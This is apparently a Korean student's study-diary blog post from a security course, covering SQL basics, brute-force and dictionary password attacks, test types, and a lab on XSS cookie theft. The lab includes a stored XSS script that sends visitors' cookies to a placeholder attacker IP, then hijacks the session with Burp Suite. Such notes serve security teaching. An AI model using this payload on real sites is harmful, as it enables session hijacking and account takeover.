=======
SQL Injection
SQL(Structured Query Language) = 구조,정형화된 질의
DDL DML DCL 등 으로 나누어지고 많이쓰이는 것은 DML(데이터 매니퓰레이션)이다.
Injection = 삽입하다, 주입하다
SSMS(SQL Server Management studio) 에서
명령어는 엔터키로 실행시키는게 아닌, 실행을 따로 해줘야 한다.
update members
set passwd = 4111
where user_id='sst'
비밀번호 변경
burp suite
무차별 대입 공격 (시스템해킹)
burp suite 실습
비밀번호의 자릿수를 알았을때, 경우의 수의 값이 낮은걸 볼 수 있다.
찾으려 하는 비밀번호는 length 값이 다르다.
그래서 대부분의 사이트에서는 비밀번호 설정을 최소 8자를 걸어두는데 자릿수가 늘어나면 늘어날수록 경우의 수의 값이 확 올라가버리기 때문에 해킹이 몹시 어려워 지기 때문이다.
Password Crack 공격 *
1. brute force Attack(무차별 대입 공격)
- 키보드로 조합할 수 있는 경우의 수를 모두 대입해보는 공격
2. Dictionary Attack
- 사전파일의 기재된 내용을 기반으로 대입하는 공격
- 사전 파일안에 내용이 없으면 찾을수 없다. 대신 brute force 보다 효율적이다.
Dictionary Attack을 해보고 password를 못찾았을때 brute force Attack를 많이 한다.
공통점 - 대입하는 유형의 공격이다, 모르는 상태에서 대입으로 알아내는것
Blind test
white box - 관리자가 아는 상태일때, 상대방의 기본정보를 알고 있을때
black box - 관리자가 모르는 상태일때, 상대방의 기본정보를 모를 때
double blind test
관리자 몰래 기업의 오너와 얘기가 된 상태에서 테스트
일을 잘하는지 세팅을 잘했는지 관리자 몰래 테스트 하는것
Injection Vector
XSS(Cross Site Script)
- 웹 해킹의 대표적 유형 두개중 하나
- 대부분의 프로토콜은 연결을 유지하는 특성을 가지고 있다.
- 웹서버는 바쁘다. 그렇기에 연결을 바로바로 끊어야 한다.
- 웹서버는 연결이 끊기면 정보가 날라간다. 연결이 끊기기전 증표를 준다=쿠키값
- http는 세션을 유지하지 않는다. (바쁘기때문, 유저가많기때문) 하나하나 신경을 쓸수 없다
하지만 특정 상황에선 연결을 유지해야하고, 연결유지를 위한, 연결유지를 위한 일종의 편법 = 세션쿠키
연결이 끊겨도 특정 사람임을 알 수 있게 해주는게 쿠키값이다.
다른 방법으론 로그인 방식이 있지만 편의성이 떨어진다.
편의성 때문에 만들어짐
편의성 때문에 생기는것들은 대부분 보안의 취약하다.
XSS는 웹사이트를 이용해 정상적인 클라이언트의 정보를 빼가는것
Cookie Injection
- 선행작업으로 웹서버의 게시판을 이용
Cookie Injection 실습
기본적으로 http로 정보를 받아야 하기 때문에 80번 포트를 열어주어야 한다. 그렇기 때문에 칼리 리눅스에 웹서버를 하나 설치한다.
apt install apache2
systemctl start apache2
해커 - 박OO
피해자 - 김OO
박OO의 아이디로 게시판에 글을 적는다
<script> var i=new Image;i.src="http://해커의IP/"+document.cookie;</script>
다른 클라이언트의 사람이 게시판을 보게 되다면 와이어샤크로 체크를 해보면
접속한 사람의 Cookie를 얻을 수 있게 되고
burp suite에서 변조를 해서
다른 사람의 이름으로 주문이 가능하게 된다.
=======
'공부? > 국비 지원 일기장' 카테고리의 다른 글
56일차 - Cookie (0) | 2024.11.01 |
---|---|
55일차 - 스푸핑 (0) | 2024.10.30 |
53일차 - 웹 해킹 시작 (2) | 2024.10.28 |
프로젝트 마무리 - UDP Tunneling과 L3 스위치 세팅 (0) | 2024.10.19 |
프로젝트 - 본딩 (2) | 2024.10.19 |